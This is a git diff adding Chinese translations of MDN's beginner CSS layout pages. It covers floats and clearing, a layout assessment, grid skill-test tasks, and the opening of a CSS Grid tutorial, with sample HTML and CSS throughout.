26%; + float: right; +}</pre> + +<p>这将给我们以下结果:</p> + +<div class="hidden"> +<h6 id="Playable_code_3">Playable code 3</h6> + +<pre class="brush: html notranslate"><h1>3 column layout example</h1> + +<div> + <h2>First column</h2> + <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> +</div> + +<div> + <h2>Second column</h2> + <p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p> +</div> + +<div> + <h2>Third column</h2> + <p>Nam consequat scelerisque mattis. Duis pulvinar dapibus magna, eget congue purus mollis sit amet. Sed euismod lacus sit amet ex tempus, a semper felis ultrices. Maecenas a efficitur metus. Nullam tempus pharetra pharetra. Morbi in leo mauris. Nullam gravida ligula eros, lacinia sagittis lorem fermentum ut. Praesent dapibus eros vel mi pretium, nec convallis nibh blandit. Sed scelerisque justo ac ligula mollis laoreet. In mattis, risus et porta scelerisque, augue neque hendrerit orci, sit amet imperdiet risus neque vitae lectus. In tempus lectus a quam posuere vestibulum. Duis quis finibus mi. Nullam commodo mi in enim maximus fermentum. Mauris finibus at lorem vel sollicitudin.</p> +</div> +</pre> + +<pre class="brush: css notranslate">body { + width: 90%; + max-width: 900px; + margin: 0 auto; +} + +div:nth-of-type(1) { + width: 36%; + float: left; +} + +div:nth-of-type(2) { + width: 30%; + float: left; + margin-left: 4%; +} + +div:nth-of-type(3) { + width: 26%; + float: right; +} +</pre> +</div> + +<p>{{ EmbedLiveSample('Playable_code_3', '100%', 800) }}</p> + +<p>这个例子我们已经很熟悉了;唯一真正的区别是我们有了这个额外的列——为了让它放到合适的位置我们已经把它放在左边了;我们还给了它一个4%的 {{cssxref("margin-left")}},来在第一和第二列之间拉开一段距离。我们设置了列的宽度以便它们都能匹配——36% + 30% + 4% + 26% = 96%,在第二和第三列之间有4%的空间。(这个空间总是出现在向左浮动的第二列和向右浮动的第三列之间。)</p> + +<p>这里需要注意的一点是,您必须仔细考虑将列放在什么位置,以及如何浮动它们,以获得所需的结果。你的内容应该是有意义的,当你阅读它的源代码和它的视觉布局的时候;但是,使用浮动可以使可视化布局与源顺序不同。来说明我们的意思,尝试改变第二列的 {{cssxref("float")}}值为 <code>right</code> (或者看一看<a href="https://mdn.github.io/learning-area/css/css-layout/floats/three-column-layout-wrong-order.html">three-column-layout-wrong-order.html</a> (<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/floats/three-column-layout-wrong-order.html">源码</a>))你会看到现在的视觉顺序是这样的:</p> + +<pre class="notranslate">div1 div3 div2</pre> + +<p>这是因为第二个<div>源代码顺序上比第三个<div>等级要高 (DOM上第二个<div>先出现并声明了<code>float: right;</code>) ,所以在浮动顺序上也会比第三个<div>等级要高。又因为两者同时像右浮动,第二个<div>就会更加地靠右。</p> + +<p>然而视觉受损的人使用屏幕阅读器来听你的内容,仍然会听到这个顺序的内容:</p> + +<pre class="notranslate"><code>div1 div2 div3</code></pre> + +<p>内容布局和样式对它们没有影响。无论用户如何消费,内容都应该是合理的。</p> + +<div class="note"> +<p><strong>注意:</strong>完成了这一点您可以找到的例子<a href="https://mdn.github.io/learning-area/css/css-layout/floats/1_three-column-layout.html">1_three-column-layout.html</a> (<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/floats/1_three-column-layout.html">see source code</a>).</p> +</div> + +<h2 id="清除浮动">清除浮动</h2> + +<p>现在你已经知道了关于 float 属性的一些有趣事实,不过你很快就能够碰到一个问题——所有在浮动下面的自身不浮动的内容都将围绕浮动元素进行包装,如果没有处理这些元素,就会变得很糟糕。为了说明我们的意思,尝试在第三个{{htmlelement("div")}} 元素下面添加以下HTML(并检出<code><a href="https://mdn.github.io/learning-area/css/css-layout/floats/2_float-disaster.html">2_float-disaster.html</a></code> (<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/floats/2_float-disaster.html">source code</a>)):</p> + +<pre class="brush: html notranslate"><footer> + <p>&copy;2016 your imagination. This isn't really copyright, this is a mockery of the very concept. Use as you wish.</p> +</footer></pre> + +<p>你会看到页脚在最长的列旁边环绕着,这看起来很糟糕——我们希望页脚保持在底部,在所有的列下面。幸运的是,有一种简单的方法可以解决这个问题—— {{cssxref("clear")}} 属性。当你把这个应用到一个元素上时,它主要意味着"此处停止浮动"——这个元素和源码中后面的元素将不浮动,除非您稍后将一个新的{{cssxref("float")}}声明应用到此后的另一个元素。</p> + +<p>所以,要解决我们的问题,添加以下规则到您的CSS:</p> + +<pre class="brush: css notranslate">footer { + clear: both; +}</pre> + +<p>这将会给你一个页脚,它会在你的列下面,就像它应该做的那样:</p> + +<div class="hidden"> +<h6 id="Playable_code_4">Playable code 4</h6> + +<pre class="brush: html notranslate"><h1>3 column layout example</h1> + +<div> + <h2>First column</h2> + <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> +</div> + +<div> + <h2>Second column</h2> + <p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p> +</div> + +<div> + <h2>Third column</h2> + <p>Nam consequat scelerisque mattis. Duis pulvinar dapibus magna, eget congue purus mollis sit amet. Sed euismod lacus sit amet ex tempus, a semper felis ultrices. Maecenas a efficitur metus. Nullam tempus pharetra pharetra. Morbi in leo mauris. Nullam gravida ligula eros, lacinia sagittis lorem fermentum ut. Praesent dapibus eros vel mi pretium, nec convallis nibh blandit. Sed scelerisque justo ac ligula mollis laoreet. In mattis, risus et porta scelerisque, augue neque hendrerit orci, sit amet imperdiet risus neque vitae lectus. In tempus lectus a quam posuere vestibulum. Duis quis finibus mi. Nullam commodo mi in enim maximus fermentum. Mauris finibus at lorem vel sollicitudin.</p> +</div> + +<footer> + <p>&copy;2016 your imagination. This isn't really copyright, this is a mockery of the very concept. Use as you wish.</p> +</footer> +</pre> + +<pre class="brush: css notranslate">body { + width: 90%; + max-width: 900px; + margin: 0 auto; +} + +div:nth-of-type(1) { + width: 36%; + float: left; +} + +div:nth-of-type(2) { + width: 30%; + float: left; + margin-left: 4%; +} + +div:nth-of-type(3) { + width: 26%; + float: right; +} + +footer { + clear: both; +} +</pre> +</div> + +<p>{{ EmbedLiveSample('Playable_code_4', '100%', 865) }}</p> + +<p>{{cssxref("clear")}} 可以取三个值:</p> + +<ul> + <li><code>left</code>:停止任何活动的左浮动</li> + <li><code>right</code>:停止任何活动的右浮动</li> + <li><code>both</code>:停止任何活动的左右浮动</li> +</ul> + +<p>你通常只想设定一个 <code>clear: both</code> 在你想让浮动停止的元素上。在某些情况下,你会想要只取消<code>left</code> 或 <code>right</code> 引用。</p> + +<div class="note"> +<p><strong>注:</strong>你可以在这个阶段找到例子 <code><a href="https://mdn.github.io/learning-area/css/css-layout/floats/2a_fixed-by-clear.html">2a_fixed-by-clear.html</a></code> (<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/floats/2a_fixed-by-clear.html">see source code</a>).</p> +</div> + +<h2 id="浮动问题">浮动问题</h2> + +<p>以上部分提供了使用浮动创建简单布局的基础,但是还有一些问题需要解决。 让我们谈谈这些问题。</p> + +<h3 id="整个宽度可能难以计算">整个宽度可能难以计算</h3> + +<p>到目前为止,我们的例子是没有应用样式的浮动框——这很容易。当你开始给这些框加上样式时,比如添加背景、外边距、内边距等等,问题就来了。为了演示这个问题,可以将下面的 CSS 加入到你的代码里 (你也可以看这个例子 <code><a href="https://mdn.github.io/learning-area/css/css-layout/floats/3_broken-layout.html">3_broken-layout.html</a></code> (<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/floats/3_broken-layout.html">source code</a>)):</p> + +<pre class="brush: css notranslate">div, footer { + padding: 1%; + border: 2px solid black; + background-color: red; +}</pre> + +<p>此时,您将看到您的布局已损坏 —— 由于内边距和边界引入的额外宽度,一行容纳不下三列了,因此第三列下降到另外两列之下。</p> + +<p>有两个方法可以解决问题,最好的方法是给你的html加上下面的css。</p> + +<pre class="brush: css notranslate">* { + box-sizing: border-box; +}</pre> + +<p>{{cssxref("box-sizing")}} 通过更改盒模型来拯救我们,盒子的宽度取值为 content + padding + border,而不仅是之前的content——所以当增加内边距或边界的宽度时,不会使盒子更宽——而是会使内容调整得更窄。</p> + +<p>我们有另一个问题——页脚正压在最长列上, 在这一点并不理想——我们来试着清除页脚浮动的同时给出一些顶部外边距( <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/margin-top" title="The margin-top CSS property sets the margin area on the top of an element. A positive value will place it farther than normal from its neighbors, while a negative value will place it closer."><code>margin-top</code></a> )来解决这个问题:</p> + +<pre class="brush: css notranslate">footer { + clear: both; + margin-top: 4%; +} </pre> + +<p>然而,这不起作用 ——浮动的元素存在于正常的文档布局流之外,在某些方面的行为相当奇怪:</p> + +<ul> + <li>首先,他们在父元素中所占的面积的有效高度为0 ——尝试在浏览器中加载 <a href="https://mdn.github.io/learning-area/css/css-layout/floats/1_three-column-layout.html">1_three-column-layout.html</a> 并用开发工具查看 {{htmlelement("body")}} 的高度,你将会看到我们的意思是什么——所报告的正文高度只有 {{htmlelement("h1")}} 的高度 。这个可以通过很多方式解决,但是我们所依赖的是在父容器的底部清除浮动,如我们在我们的当前示例所做的那样。 如果检查当前示例中正文的高度,您应该看它的高度是行为本身。</li> + <li>其次,非浮动元素的外边距不能用于它们和浮动元素之间来创建空间——这是我们在这里眼前的问题,我们将在下面实施修复。</li> + <li>还有一些关于浮动的奇怪的事情——Chris Coyier优秀的<a href="https://css-tricks.com/all-about-floats/">关于Floats</a>文章概述了其他一些以及修复这些。</li> +</ul> + +<p>所以,让我们解决这个! 首先,在HTML的代码里添加新的{{htmlelement("div")}} 元素,位于在<footer>标签的上方:</p> + +<pre class="brush: html notranslate"><div class="clearfix"></div></pre> + +<p>如果您没有一个可用的元素来清除您的浮动(比如我们的页脚),在您想要清除的浮动之后添加一个看不见的“clearfix div”是非常有用的,但是在这里页脚也要用到。接下来我们要做的是,移除页脚样式规则中的 <code>clear: both;</code> 声明,取而代之将其放在clearfix div中:</p> + +<pre class="brush: css notranslate">.clearfix { + clear: both; +}</pre> + +<p>我们的页脚现在有一个很好的顶部外边距,但也有另一个问题——clearfix div 背景、内边距和边界与我们的列和页脚相同!为了解决这个问题,让我们先给每个列块一个类( <code>class</code> )<code>column</code>:</p> + +<pre class="brush: html notranslate"><div class="column"> + ... +</div></pre> + +<p> 现在让我们改变应用盒子样式的规则到这些块和页脚,这样只有列块被样式化:</p> + +<pre class="brush: css notranslate">.column, footer { + padding: 1%; + border: 2px solid black; + background-color: red; +}</pre> + +<p>至此,修复问题大概就那样。</p> + +<div class="note"> +<p><strong>注:</strong> 查看在这个阶段最后一个解决的例子<a href="https://mdn.github.io/learning-area/css/css-layout/floats/4_fixed-layout-border-box.html">4_fixed-layout-border-box.html</a> (<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/floats/4_fixed-layout-border-box.html">source code</a>)。</p> +</div> + +<p>这里要注意的另一小点是,<a href="https://developer.mozilla.org/en-US/docs/Web/CSS/box-sizing" title="The CSS box-sizing property is used to alter the default CSS box model used to calculate width and height of the elements."><code>box-sizing</code></a> 出现可以追溯到Internet Explorer 8——如果您明确需要支持较老的浏览器,您可能需要手动调整列的宽度,以允许内边距和边界宽度。这不是一种非常精确的技术,特别是考虑到你不能用百分比来确定边界——你只需要在尽可能充满父宽度的同时留出足够的空间。你可以看到这样的实战修复<code><a href="https://mdn.github.io/learning-area/css/css-layout/floats/fixed-layout-adjusted-percentages.html">fixed-layout-adjusted-percentages.html</a></code> (<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/floats/fixed-layout-adjusted-percentages.html">见源代码</a>)。</p> + +<h3 id="浮动项目的背景高度">浮动项目的背景高度</h3> + +<p>到目前为止,我们建好的示例是有效的,但另一个问题是列高度是不同的—— 如果列都是相同的高度,它看起来会更好。</p> + +<p>我们可以通过给所有的列固定{{cssxref("height")}} 来解决这个问题(see <code><a href="https://mdn.github.io/learning-area/css/css-layout/floats/5_fixed-height-columns.html">5_fixed-height-columns.html</a></code> (<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/floats/5_fixed-height-columns.html">源代码</a>):</p> + +<pre class="brush: css notranslate">.column { + height: 550px; +}</pre> + +<p>然而在许多情况下这并不理想——它使设计呆板。如果你能保证列中总是有相同数量的内容,这是可以的,但这并不总是如此——在很多类型的网站上,内容也会定期更改。</p> + +<p>这正是像flexbox这样的新布局技术所解决的问题。Flexbox可以自动地延长列,这样他们就会像最长的一列一样。</p> + +<p>你也可以考虑:</p> + +<ol> + <li>将这些列的背景颜色设置为父元素的背景颜色,这样您就不会看到高度是不同的。这是目前最好的选择。</li> + <li>将它们设置为固定的高度,并使内容滚动{{cssxref("overflow")}} (参见我们溢流部分的示例。)</li> + <li>使用一种叫做伪列(faux columns)的技术——这包括将背景(和边界)从实际的列中提取出来,并在列的父元素上画一个伪造的背景,看起来像列的背景一样。不幸的是,这将无法处理列边界。 详见对于<a href="http://alistapart.com/article/fauxcolumns">伪列</a>和<a href="https://www.addedbytes.com/blog/code/faux-columns-for-liquid-layouts/">伪列流体布局</a>的教程。</li> +</ol> + +<h3 id="清除浮动会变复杂">清除浮动会变复杂</h3> + +<p>我们在文章中建立的简单例子很容易理解,但是当布局变得更加复杂清理(clearing)也会变得更加复杂。你需要确保所有的浮动都能尽快清除,以避免它们给下方的内容制造麻烦。如果您没有一个方便的容器来进行清理,那么在必要的时候使用clearfix块。</p> + +<h2 id="纸上得来终觉浅!">纸上得来终觉浅!</h2> + +<p>你已经读完了这一篇文章,但是你还记得几成呢?在继续阅读之前你可以在这里找到一些测试来检验一下:<a href="/en-US/docs/Learn/CSS/CSS_layout/Floats_skills">Test your skills: Floats</a>.</p> + +<h2 id="总结">总结</h2> + +<p>现在,您应该已经拥有了一些强大的工具来创建相当复杂的web布局。太好了!在下一篇文章中,我们将进一步研究定位。</p> + +<p>{{PreviousMenuNext("Learn/CSS/CSS_layout/Introduction", "Learn/CSS/CSS_layout/Positioning", "Learn/CSS/CSS_layout")}}</p> diff --git a/files/zh-cn/learn/css/css_layout/fundamental_layout_comprehension/index.html b/files/zh-cn/learn/css/css_layout/fundamental_layout_comprehension/index.html new file mode 100644 index 0000000000..bd0ea5662f --- /dev/null +++ b/files/zh-cn/learn/css/css_layout/fundamental_layout_comprehension/index.html @@ -0,0 +1,70 @@ +--- +title: Fundamental Layout Comprehension +slug: Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension +translation_of: Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension +--- +<div>{{LearnSidebar}}</div> + +<p class="summary">如果您已经完成了这个模块的学习,那么您将已经学习了今天进行CSS布局以及使用旧的CSS所需的基本知识。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">任务需知:</th> + <td> + <p>在尝试此评估之前,您应该已经阅读了本模块中的所有文章。</p> + </td> + </tr> + <tr> + <th scope="row">任务目标:</th> + <td> + <p>测试您对本单元所涵盖的基本布局技能的理解与掌握应用。</p> + </td> + </tr> + </tbody> +</table> + +<h2 id="项目简介">项目简介</h2> + +<p>我们已经为你提供了一些原始的html、基本的css文件和图像——现在你需要设计一个跟下面图片相似的布局页面。<img alt="" src="https://mdn.mozillademos.org/files/16076/layout-task-complete.png" style="height: 706px; width: 1000px;"></p> + +<h3 id="基本步骤">基本步骤</h3> + +<p>你可以在这下载基本的html css和图片素材 <a href="https://github.com/mdn/learning-area/tree/master/css/css-layout/fundamental-layout-comprehension">here</a>.</p> + +<p>将HTML文档和css保存到你自己计算机的目录中,并将图像添加到名为images的文件夹中,在浏览器中打开index.html文件应该会给您提供一个具有基本样式但没有布局的页面,该页面应该类似下面所示的图像。</p> + +<p>此页面开始于浏览器在正常流中显示的布局的所有内容。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/16075/layout-task-start.png" style="height: 675px; width: 1000px;"></p> + +<h3 id="目标">目标</h3> + +<p>你需要实现你自己的布局。下面是你应该完成的目标:</p> + +<ol> + <li>在一行中显示导航选项,并且选项之间拥有相同的空间。</li> + <li>导航条应随着内容一起滚动并且在触碰到视口顶部之后于顶部固定。</li> + <li>文章内的图片应该被文本包围。</li> + <li>{{htmlelement("article")}} 与 {{htmlelement("aside")}} 元素应该为双列布局。它们的列尺寸应该是弹性的,以便在浏览器窗口收缩得更小的时候能够变窄。</li> + <li>照片应该以有 1px 间隔的两列网格显示出来。</li> +</ol> + +<p>在实现布局的过程中你不需要修改 HTML,下面是你应该使用的技术:</p> + +<ul> + <li>Positioning</li> + <li>Float</li> + <li>Flexbox</li> + <li>CSS Grid Layout</li> +</ul> + +<p>你能够用好几种方法来实现这些目标,完成一件事的方法并不只有一个。尝试不同的方式,并且看看哪个最有效。尝试之后写下笔记,你可以在本练习的帖子中或者 <a href="irc://irc.mozilla.org/mdn">#mdn</a> IRC 频道讨论你实现它们的方式。</p> + +<h2 id="评估">评估</h2> + +<p> </p> + +<p>如果这个评估是一系列课程的一部分,你应该可以让你的老师或导师为你批改。 如果你是自学,可以很容易地在 <a href="https://discourse.mozilla-community.org/t/learning-web-development-marking-guides-and-questions/16294" rel="noopener">Learning Area Discourse thread</a> 或 <a href="https://wiki.mozilla.org/IRC" rel="noopener">Mozilla IRC</a> 的 <a href="irc://irc.mozilla.org/mdn">#mdn</a> IRC频道回复得到批改指南。请先自己试着做——作弊学不到任何东西!</p> + +<p> </p> diff --git a/files/zh-cn/learn/css/css_layout/grid_skills/index.html b/files/zh-cn/learn/css/css_layout/grid_skills/index.html new file mode 100644 index 0000000000..9379b24d92 --- /dev/null +++ b/files/zh-cn/learn/css/css_layout/grid_skills/index.html @@ -0,0 +1,96 @@ +--- +title: '测试你的技能: 网格布局' +slug: Learn/CSS/CSS_layout/Grid_skills +translation_of: Learn/CSS/CSS_layout/Grid_skills +--- +<div>{{LearnSidebar}}</div> + +<div></div> + +<p>此任务的目的是让你使用CSS网格布局,并测试你是否了解网格和网格项的行为方式。 你将会完成三个包括不同的元素小任务。</p> + +<div class="blockIndicator note"> +<p><strong>提示</strong>: 您可以在下面的交互式编辑器中试用解决方案,不过,下载代码并使用在线工具(如CodePen、jsFiddle或Glitch)处理这些任务可能会更有帮助。<br> + <br> + 如果您遇到困难,请向我们寻求帮助 — 参阅本页底部的 {{anch("评估或进一步帮助")}} 部分。</p> +</div> + +<h2 id="网格布局(一)">网格布局(一)</h2> + +<p>在此任务中,你需要创建一个网格,要求其中的四个子元素能自动排布。网格内要有三列并且将可用空间等分,列和行的间距均为20px。</p> + +<p>在三列网格布局中有四个物体放入其中。</p> + +<p>尝试更新下面的实时代码以复现上面的示例:</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/tasks/grid/grid1.html", '100%', 700)}}</p> + +<div class="blockIndicator note"> +<p>评估或进一步的工作目的, 可以<a href="https://github.com/mdn/css-examples/blob/master/learn/tasks/grid/grid1-download.html">下载此任务的源文件</a>在你自己的编辑器或在线编辑器工作。</p> +</div> + +<h2 id="网格布局_二">网格布局 二</h2> + +<p>In this example we already have a grid defined. By editing the CSS rules for the two child elements, cause them to span over several grid tracks each; the second item should overlay the first as in the image below.</p> + +<p><img alt="A box with two items inside one overlaying the other." src="https://mdn.mozillademos.org/files/17067/grid-task2.png" style="height: 589px; width: 1264px;"></p> + +<p>Try updating the live code below to recreate the finished example:</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/tasks/grid/grid2.html", '100%', 800)}}</p> + +<p>Additional questions:</p> + +<ul> + <li>Can you now cause the first item to display on top without changing the order of items in the source?</li> +</ul> + +<div class="blockIndicator note"> +<p>For assessment or further work purposes, <a href="https://github.com/mdn/css-examples/blob/master/learn/tasks/grid/grid2-download.html">download the starting point for this task</a> to work in your own editor or in an online editor.</p> +</div> + +<h2 id="Grid_Layout_Three">Grid Layout Three</h2> + +<p>There are four direct children in this grid; the starting point has them displayed using auto-placement. Use the grid-area and grid-template-areas properties to lay the items out as shown in the image.</p> + +<p><img alt="Four items displayed in a grid." src="https://mdn.mozillademos.org/files/17068/grid-task3.png" style="height: 375px; width: 1269px;"></p> + +<p>Try updating the live code below to recreate the finished example:</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/tasks/grid/grid3.html", '100%', 800)}}</p> + +<div class="blockIndicator note"> +<p>For assessment or further work purposes, <a href="https://github.com/mdn/css-examples/blob/master/learn/tasks/grid/grid3-download.html">download the starting point for this task</a> to work in your own editor or in an online editor.</p> +</div> + +<h2 id="Grid_and_Flex_Layout_4">Grid and Flex Layout 4</h2> + +<p>You will need to use both Grid Layout and Flexbox to recreate the example as seen in the image. You do not need to make any changes to the HTML in order to do this.</p> + +<p><img alt="Two rows of cards, each with an image and a set of tags." src="https://mdn.mozillademos.org/files/17079/grid-task4.png" style="height: 1158px; width: 1428px;"></p> + +<p>Try updating the code below to create your example: </p> + +<p>{{EmbedGHLiveSample("css-examples/learn/tasks/grid/grid4.html", '100%', 1200)}}</p> + +<div class="blockIndicator note"> +<p>For assessment or further work purposes, <a href="https://github.com/mdn/css-examples/blob/master/learn/tasks/grid/grid4-download.html">download the starting point for this task</a> to work in your own editor or in an online editor.</p> +</div> + +<h2 id="Assessment_or_further_help">Assessment or further help</h2> + +<p>You can practice these examples in the Interactive Editors mentioned above.</p> + +<p>If you'd like your work assessed, or are stuck and want to ask for help:</p> + +<ol> + <li>Put your work into an online shareable editor such as <a href="https://codepen.io/">CodePen</a>, <a href="https://jsfiddle.net/">jsFiddle</a>, or <a href="https://glitch.com/">Glitch</a>. You can write the code yourself, or use the starting point files linked to in the above sections.</li> + <li>Write a post asking for assessment and/or help at the <a class="external external-icon" href="https://discourse.mozilla.org/c/mdn/learn" rel="noopener">MDN Discourse forum Learning category</a>. Your post should include: + <ul> + <li>A descriptive title such as "Assessment wanted for Grid layout 1 skill test".</li> + <li>Details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment.</li> + <li>A link to the example you want assessed or need help with, in an online shareable editor (as mentioned in step 1 above). This is a good practice to get into — it's very hard to help someone with a coding problem if you can't see their code.</li> + <li>A link to the actual task or assessment page, so we can find the question you want help with.</li> + </ul> + </li> +</ol> diff --git a/files/zh-cn/learn/css/css_layout/grids/index.html b/files/zh-cn/learn/css/css_layout/grids/index.html new file mode 100644 index 0000000000..eca25a84b8 --- /dev/null +++ b/files/zh-cn/learn/css/css_layout/grids/index.html @@ -0,0 +1,1308 @@ +--- +title: 网格 +slug: Learn/CSS/CSS_layout/Grids +tags: + - CSS + - CSS网格 + - 初学者 + - 学习 + - 布局 + - 引导 + - 教程 + - 文章 + - 编码脚本 + - 网格 + - 网格框架 + - 网格设计 +translation_of: Learn/CSS/CSS_layout/Grids +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenu("Learn/CSS/CSS_layout/Flexbox", "Learn/CSS/CSS_layout")}}</div> + +<p class="summary">CSS网格是一个用于web的二维布局系统。利用网格,你可以把内容按照行与列的格式进行排版。另外,网格还能非常轻松地实现一些复杂的布局。关于使用网格进行页面排版,这篇文章包含了你需要的一切知识。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">预备知识:</th> + <td>HTML基础 (学习<a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML"> HTML简介</a>),以及了解CSS如何工作的(学习 <a href="/zh-CN/docs/Learn/CSS/Introduction_to_CSS">CSS简介</a> 和 <a href="/zh-CN/docs/Learn/CSS/Styling_boxes">盒子样式</a>。)</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>要了解网格布局系统背后的基本概念,以及如何在一个网页上实现一个网格布局。</td> + </tr> + </tbody> +</table> + +<div class="note"> +<p><strong>译者注:本篇中旧版教程主要讲如何自己编写网格布局,最后过渡到浏览器支持的 CSS Grid Layout。而当前(2019-04-29)大多数浏览器已经支持了 CSS Grid Layout,没必要自己编写了,新版教程仅介绍 CSS Grid Layout 的用法</strong></p> +</div> + +<h2 id="什么是网格布局?">什么是网格布局?</h2> + +<p>网格是由一系列水平及垂直的线构成的以一种布局模式。根据网格,我们能够将设计元素进行排列,帮助我们设计一系列具有固定位置以及宽度的元素的页面,使我们的网站页面更加统一。</p> + +<p>一个网格通常具有许多的<strong>列(column)</strong>与<strong>行(row)</strong>,以及行与行、列与列之间的间隙,这个间隙一般被称为<strong>沟槽(gutter)</strong>。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13899/grid.png" style="display: block; height: 553px; margin: 0px auto; width: 1196px;"></p> + +<p>[临时图; 将很快替换更好的图片。]</p> + +<div class="note"> +<p><strong>注意</strong>:任何有设计背景的人似乎都感到惊讶,CSS没有内置的网格系统,而我们似乎使用各种次优方法来创建网格状的设计。正如你将在本文的最后一部分中发现的那样,这将被改变,但是你可能需要知道在未来一段时间内创建网格的现有方法。</p> +</div> + +<h2 id="在CSS中创建自己的网格">在CSS中创建自己的网格</h2> + +<p>决定好你的设计所需要的网格后,你可以创建一个CSS网格版面并放入各类元素。我们先来看看网格的基础功能,然后尝试做一个简单的网格系统。</p> + +<p>下面这个视频提供了一个很好的解释:</p> + +<p>{{EmbedYouTube("KOvGeFUHAC0")}}</p> + +<h3 id="定义一个网格">定义一个网格</h3> + +<p>一如既往,你可以下载教程<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/0-starting-point.html">文件</a>(你可以在线看到<a href="https://mdn.github.io/learning-area/css/css-layout/grids/0-starting-point.html">效果</a>)。例子中有一个容器,容器中有一些子项。默认情况下,子项按照正常布局流自顶而下排布。在这篇文章中,我们会从这开始,对这些文件做一些改变,来了解网格是如何工作的。</p> + +<p>首先,将容器的{{cssxref("display")}}属性设置为<code>grid</code>来定义一个网络。与弹性盒子一样,将父容器改为网格布局后,他的直接子项会变为网格项。把下面的css规则加到你的文件中。</p> + +<pre class="notranslate">.container { + display: grid; +} +</pre> + +<p>与弹性盒子不同的是,在定义网格后,网页并不会马上发生变化。因为<code>display: grid</code>的声明只创建了一个只有一列的网格,所以你的子项还是会像正常布局流那样从上而下一个接一个的排布。</p> + +<p>为了让我们的容器看起来更像一个网格,我们要给刚定义的网格加一些列。那就让我们加三个宽度为<code>200px</code>的列。当然,这里可以用任何长度单位,包括百分比。</p> + +<pre class="notranslate">.container { + display: grid; + grid-template-columns: 200px 200px 200px; +}</pre> + +<p>在规则里加入你的第二个声明。刷新页面后,你会看到子项们排进了新定义的网格中。</p> + +<div class="hidden"> +<h6 id="简单的网格示例">简单的网格示例 </h6> + +<pre class="notranslate">body { + width: 90%; + max-width: 900px; + margin: 2em auto; + font: .9em/1.2 Arial, Helvetica, sans-serif; +} + +.container > div { + border-radius: 5px; + padding: 10px; + background-color: rgb(207,232,220); + border: 2px solid rgb(79,185,227); +} </pre> + +<pre class="notranslate"><div class="container"> + <div>One</div> + <div>Two</div> + <div>Three</div> + <div>Four</div> + <div>Five</div> + <div>Six</div> + <div>Seven</div> +</div> </pre> + +<pre class="notranslate">.container { + display: grid; + grid-template-columns: 200px 200px 200px; +} </pre> +</div> + +<p>{{ EmbedLiveSample('Grid_1', '100%', 400) }}</p> + +<h3 id="使用fr单位的灵活网格">使用fr单位的灵活网格</h3> + +<p>除了长度和百分比,我们也可以用<code>fr</code>这个单位来灵活地定义网格的行与列的大小。这个单位表示了可用空间的一个比例,可能有点抽像,看看下面的例子吧。</p> + +<p>使用下面的规则来创建3个<code>1fr</code>的列:</p> + +<pre class="notranslate">.container { + display: grid; + grid-template-columns: 1fr 1fr 1fr; +}</pre> + +<p>将窗口调窄(由于示例中设定了{{cssxref("max-width")}},可能需要很窄),你应该能看到每一列的宽度可以会随着可用空间变小而变小。<code>fr</code> 单位按比例划分了可用空间,如果没有理解,可以试着改一下数值,看看会发生什么,比如下面的代码:</p> + +<pre class="notranslate">.container { + display: grid; + grid-template-columns: 2fr 1fr 1fr; +}</pre> + 